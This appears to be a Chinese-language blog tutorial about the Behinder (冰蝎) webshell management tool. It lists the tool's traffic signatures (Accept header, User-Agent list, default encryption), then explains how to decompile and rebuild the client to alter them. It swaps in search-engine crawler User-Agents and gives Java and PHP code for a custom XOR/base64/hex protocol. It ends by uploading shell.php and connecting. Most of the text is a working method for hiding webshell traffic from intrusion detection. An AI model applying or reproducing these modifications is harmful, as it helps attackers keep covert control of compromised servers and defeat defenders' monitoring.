冰蝎工具流量特征
冰蝎连接一个马子,冰蝎走burp代理,burp抓包,
特征点
1、请求数据包头的两个强特征、一个弱特征
Accept字段、Content-Type(弱特征)、User-agent 字段
2、已知数据的提交内容加密算法
xor、xor_base64、aes、image、json等
Accept字段
Accept: application/json, text/javascript, */*; q=0.01
Content-Type(弱特征)
application/x-www-form-urlencoded
User-agent 字段
冰蝎设置了10种User-Agent,每次连接shell时会随机选择一个进行使用。
Mozilla/5,0 (Macintosh: Intel Mac Os X 10.15: n:79.0) Gecko/20100101 Firefox/79.0
Mozilla/5.0 (Macintosh; Intel Mac Os X 10.15; nv:87.0) Gecko/20100101 Firefox/87.0
Mozila/5.0 (Macintosh; intel Mac Os x 10 15 6) AppleWebKit/537.36 (KHTML, like Gecko) chrome/84.0.4147.125 Safari/537.36
Mozila/5.0 (Macintosh; Intel Mac Os x 11 2 3) AppleWebKit/537.36 (KHTML, like Gecko) chrome/89.0.4389.114 Safari/537.36
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) chrome/84.0.4147.125 Safari/537.36
Mozila/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) chrome/96.0.4664.110 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit!/537.36 (KHTML, like Gecko) chrome/96.0.4664.1 10 Safari/537.36
Mozila/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537,36 (KHTML, like Gecko) chrome/99.0.4844.74 safari/537.36 Edg/99.0.1150.55
Mozilla/5.0 (Windows NT 10.0: Win64; x64; nv:98.0) Gecko/20100101 Firefox/98.0
Mozilla/5,0 (Windows NT 6.3: Trident/7.0:ny:11.0) like Gecko
可以看到这此用的第一个
已知数据的提交内容加密算法
4.0以后出现了传输协议,对于提供的默认协议来说,也是默认的特征点
生成一个
查看源码
查看到对应特征点
修改冰蝎特征
idea反编译
java -cp IDEA_HOME/plugins/java-decompiler/lib/java-decompiler.jar org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true <src.jar> <dest dir>
在线反编译
https://www.decompiler.com/
找到jar包扔上去即可
这里用的在线的,反编译的文件下载下来即可
新建项目
把反编译的文件放进来
新建lib文件,将原来的冰蝎原生文件放入
点击文件-》项目结构-》模块-》依赖-》添加刚刚导入的jar包,勾选点击应用
在页面点击工件-》添加jar-》来自具有依赖的-》
Accept等修改
Accept: application/json, text/javascript, */*; q=0.01
按两下shift全局搜索即可
将net文件复制到src下
修改src下的net的constatnts.java的文件
文件只保留
再将lib/data.db文件放到根目录下
右键src-》将目录标记为源代码根目录
除了要修改的文件,剩余的都删除
重建-》重新编译,构建-》构建工件-》重新构建,然后运行jar包
冰蝎挂上代理,burp查看Accept,会发现已经修改。
Content-Type(弱特征)、User-agent 字段
剩余同理。
Content-Type不修改了,弱特征,User-agent尽量用大网站的爬虫比如360、百度、google等 ,替换即可
"Mozilla/5.0 (MSIE 10.0; Windows NT 6.1; Trident/5.0)",
"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
"Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.4.2661.102 Safari/537.36; 360Spider",
"Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)",
"Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/11B554a MicroMessenger/6.2.1",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; 360se)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; TencentTraveler 4.0; .NET CLR 2.0.50727)",
"AdsBot-Google-Mobile (+http://www.google.com/mobile/adsbot.html) Mozilla (iPhone; U; CPU iPhone OS 3 0 like Mac OS X)",
"Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
内容加密算法修改
在一个正常的冰蝎中,创建xzg协议,本地加密函数
加密
private static byte[] Encrypt(byte[] data) throws Exception {
String key = "e45e329feb5d925b";
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key.getBytes()[i + 1 & 15]);
}
byte[] encrypted = null;
try {
// 使用java.util.Base64
Class<?> baseCls = Class.forName("java.util.Base64");
Object encoder = baseCls.getMethod("getEncoder").invoke(baseCls, null);
encrypted = (byte[]) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, data);
} catch (Throwable error) {
// 使用sun.misc.BASE64Encoder
Class<?> baseCls = Class.forName("sun.misc.BASE64Encoder");
Object encoder = baseCls.newInstance();
String result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, data);
result = result.replace("\n", "").replace("\r", "");
encrypted = result.getBytes();
}
Object obj = null;
try {
// 使用javax.xml.bind.DatatypeConverter
Class<?> clazz = Class.forName("javax.xml.bind.DatatypeConverter");
obj = clazz.getDeclaredMethod("printHexBinary", byte[].class).invoke(null, encrypted);
} catch (Throwable error) {
System.out.println(error);
}
byte[] encrypted_hex = obj.toString().toLowerCase().getBytes();
return encrypted_hex;
}
public static void main(String[] args) {
try {
byte[] inputData = "Hello, World!".getBytes();
byte[] encryptedResult = Encrypt(inputData);
// 输出加密结果
System.out.println("Encrypted Result: " + new String(encryptedResult));
} catch (Exception e) {
e.printStackTrace();
}
}
解密
private static byte[] Decrypt(byte[] data) throws Exception {
// 从十六进制转回base64
String decrypted_hex = new String(data);
byte[] decrypted_base = null;
try {
// 使用javax.xml.bind.DatatypeConverter将十六进制字符串解析为base64编码的字节数组
Class<?> clazz = Class.forName("javax.xml.bind.DatatypeConverter");
decrypted_base = (byte[]) clazz.getDeclaredMethod("parseHexBinary", String.class).invoke(null, decrypted_hex);
} catch (Throwable error) {
System.out.println(error);
}
// 从base64转回正常字符串
byte[] decodebs;
Class<?> baseCls;
try {
// 尝试使用java.util.Base64进行Base64解码
baseCls = Class.forName("java.util.Base64");
Object Decoder = baseCls.getMethod("getDecoder").invoke(baseCls, null);
decodebs = (byte[]) Decoder.getClass().getMethod("decode", byte[].class).invoke(Decoder, decrypted_base);
} catch (Throwable e) {
// 如果不支持java.util.Base64,使用sun.misc.BASE64Decoder进行Base64解码
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder = baseCls.newInstance();
decodebs = (byte[]) Decoder.getClass().getMethod("decodeBuffer", String.class).invoke(Decoder, new String(decrypted_base));
}
// 使用异或操作对数据进行简单的解密
String key = "e45e329feb5d925b";
for (int i = 0; i < decodebs.length; i++) {
decodebs[i] = (byte) (decodebs[i] ^ key.getBytes()[i + 1 & 15]);
}
return decodebs;
}
public static void main(String[] args) {
try {
// 待加密的数据
String inputData = "Hello, World!";
// 调用加密函数
byte[] encryptedResult = Encrypt(inputData.getBytes());
// 输出加密结果
System.out.println("Encrypted Result: " + new String(encryptedResult));
// 解密
byte[] decryptedResult = Decrypt(encryptedResult);
System.out.println("Decrypted Result: " + new String(decryptedResult));
} catch (Exception e) {
e.printStackTrace();
}
}
private static byte[] Encrypt(byte[] data) throws Exception {
// 设置密钥
String key = "e45e329feb5d925b";
// 使用异或操作对数据进行简单的加密
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key.getBytes()[i + 1 & 15]);
}
byte[] encrypted = null;
try {
// 尝试使用java.util.Base64进行Base64编码
Class<?> baseCls = Class.forName("java.util.Base64");
Object encoder = baseCls.getMethod("getEncoder").invoke(baseCls, null);
encrypted = (byte[]) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, data);
} catch (Throwable error) {
// 如果不支持java.util.Base64,使用sun.misc.BASE64Encoder进行Base64编码
Class<?> baseCls = Class.forName("sun.misc.BASE64Encoder");
Object encoder = baseCls.newInstance();
String result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, data);
result = result.replace("\n", "").replace("\r", "");
encrypted = result.getBytes();
}
// 使用javax.xml.bind.DatatypeConverter将Base64编码的字节数组转为十六进制字符串
Object obj = null;
try {
Class<?> clazz = Class.forName("javax.xml.bind.DatatypeConverter");
obj = clazz.getDeclaredMethod("printHexBinary", byte[].class).invoke(null, encrypted);
} catch (Throwable error) {
System.out.println(error);
}
// 将十六进制字符串转为小写字节数组
byte[] encrypted_hex = obj.toString().toLowerCase().getBytes();
return encrypted_hex;
}
如果代码不对,会提示不一致的。
保存成功理论上是可以解密的。
远程加密
function Encrypt($data)
{
$key="e45e329feb5d925b";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";
$after=$bs($data."");
return bin2hex($after);//base64后转16进制
}
远程解密
function Decrypt($data)
{
$key="e45e329feb5d925b";
$bs="base64_"."decode";
$after=$bs(pack('H*',$data)."");//先解出16进制,再base64解码
for($i=0;$i<strlen($after);$i++) {
$after[$i] = $after[$i]^$key[$i+1&15];
}
return $after;
}
然后将db文件移动到文件目录中
生成客户端
上传shell.php,连接
在运行这个项目会发现多了协议…当然这个操作很抽象,暂时想到就是这样解决,不过又不是不能跑
更多的可以利用chatgpt去生成
最后打包使用即可
最后讲一句,又不是不能用~~~
文章参考
https://www.freebuf.com/articles/network/345803.html
https://xz.aliyun.com/t/12896?time__1311=mqmhq%2Bxj2D7D%2FGY0%3D%3DcCQ06EboD#toc-6
https://xz.aliyun.com/t/11942?time__1311=mqmx0DBG0QdxyDBuex2lQDkzwxGKG8l7zeD#toc-4
https://chat.openai.com